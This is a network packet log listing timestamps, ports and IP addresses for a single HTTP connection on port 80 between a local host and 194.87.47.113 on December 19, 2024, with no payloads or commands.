Dec 19, 2024 08:21:34.187902927 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.188134909 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.188694000 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.188735008 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.188802004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.188844919 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.189536095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.189673901 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.190332890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.190377951 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.190406084 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.190445900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.191370964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.191463947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.191513062 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.192132950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.192214012 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.192764044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.192801952 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.192862988 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.192897081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.193459034 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.193572998 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.194226980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.194267988 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.194360971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.194402933 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.195044994 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.195179939 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.195785046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.195825100 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.195940018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.195979118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.196589947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.196671009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.197391987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.197441101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.197495937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.197556019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.198184013 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.198286057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.199085951 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.199126005 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.199330091 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.199768066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.199812889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.199897051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.199933052 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.200567961 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.200670004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.201371908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.201419115 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.201498032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.201541901 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.202155113 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.202327967 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.202981949 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.203023911 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.203062057 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.203108072 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.203695059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.203810930 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.203881979 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.204495907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.204646111 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.205251932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.205295086 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.205389023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.205430984 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.206068993 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.206202984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.206887007 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.206928968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.206938028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.206969976 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.207655907 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.207674026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.207720995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.279345036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.279364109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.279475927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.279575109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.279697895 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.280193090 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.280246019 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.280303001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.280345917 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.280980110 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.281121016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.281192064 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.281743050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.281877995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.282577038 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.282625914 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.282685995 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.282721996 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.283356905 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.283444881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.285320997 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.326510906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.326601028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.326687098 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.326919079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.327040911 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.327186108 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.327677965 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.327828884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.328504086 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.328571081 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.328618050 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.328659058 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.329276085 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.329396963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.330037117 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.330086946 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.330151081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.330867052 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.330919027 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.330992937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.331036091 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.331631899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.331762075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.332427979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.332479000 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.332479954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.332514048 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.333235979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.333370924 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.333440065 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.334009886 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.334140062 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.334906101 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.334953070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.334990978 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.335030079 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.335613966 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.335712910 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.336420059 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.336486101 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.374716043 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.374809980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.374923944 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.375017881 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.375075102 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.375092983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.375968933 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.376019955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.376075029 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.376575947 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.376632929 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.376842976 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.376950979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.377230883 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.377657890 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.377810955 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.378406048 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.378477097 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.378534079 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.378649950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.379199982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.379288912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.380076885 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.380126953 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.380155087 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.380192041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.380789042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.380918980 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.381581068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.381656885 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.381701946 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.381764889 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.382411957 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.382458925 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.382674932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.383179903 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.383275986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.383936882 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.383984089 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.384046078 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.384089947 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.384782076 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.384865046 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.385562897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.385591984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.385612965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.385658026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.386374950 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.386483908 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.386533022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.387223959 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.387353897 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.387901068 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.387945890 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.388017893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.388075113 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.388679028 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.388793945 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.389233112 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.389528036 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.389719963 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.390347004 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.390374899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.390388012 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.390413046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.391103983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.391220093 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.391872883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.391911030 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.391976118 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.392009020 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.392631054 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.392741919 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.393454075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.393544912 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.393590927 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.393630028 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.394241095 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.394337893 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.395101070 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.395143032 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.395272970 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.395308971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.396040916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.396126032 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.396959066 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.396991968 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.397006035 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.397032022 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.397525072 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.397634983 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.397677898 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.398221016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.398277044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.398950100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.398993969 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.399046898 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.399085045 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.399775982 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.399861097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.403184891 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.471746922 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.472176075 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.472201109 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.472214937 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.472245932 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.472292900 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.472836018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.473035097 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.473197937 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.473737001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.473866940 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.474433899 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.474483967 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.474539042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.474576950 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.475208044 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.475363016 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.475996971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.476047993 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.476089954 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.476182938 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.518599987 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.518706083 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.518942118 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.518956900 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.519037008 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.519104958 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.519711018 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.519854069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.519917011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.520486116 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.520612001 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.521249056 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.521400928 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.521585941 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.522370100 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.522455931 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.522542953 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.522582054 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.522958040 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.523056984 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.523768902 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.523808956 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.523822069 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.523863077 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.524487019 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.524597883 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.525198936 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.525367975 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.525533915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.526077986 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.526132107 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.526170015 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.526210070 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.526861906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.526982069 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.527636051 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.527688026 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.527738094 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.527776003 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.528419971 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.566723108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.566807985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.566817999 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.567189932 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.567239046 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.567329884 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.567915916 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.568018913 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.568078041 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.568753958 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.568810940 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.568900108 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.568996906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.569680929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.569730043 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.569730997 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.569768906 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.570452929 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.570564985 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.571271896 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.571326017 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.571367979 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.571409941 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.572022915 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.572093964 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.572849989 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.572901011 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.573014021 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.573054075 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.573610067 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.573736906 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.574434042 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.574455023 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.574486971 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.574517965 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.575217009 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.575335026 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:34.575388908 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:34.575992107 CET	80	49720	194.87.47.113	192.168.2.10
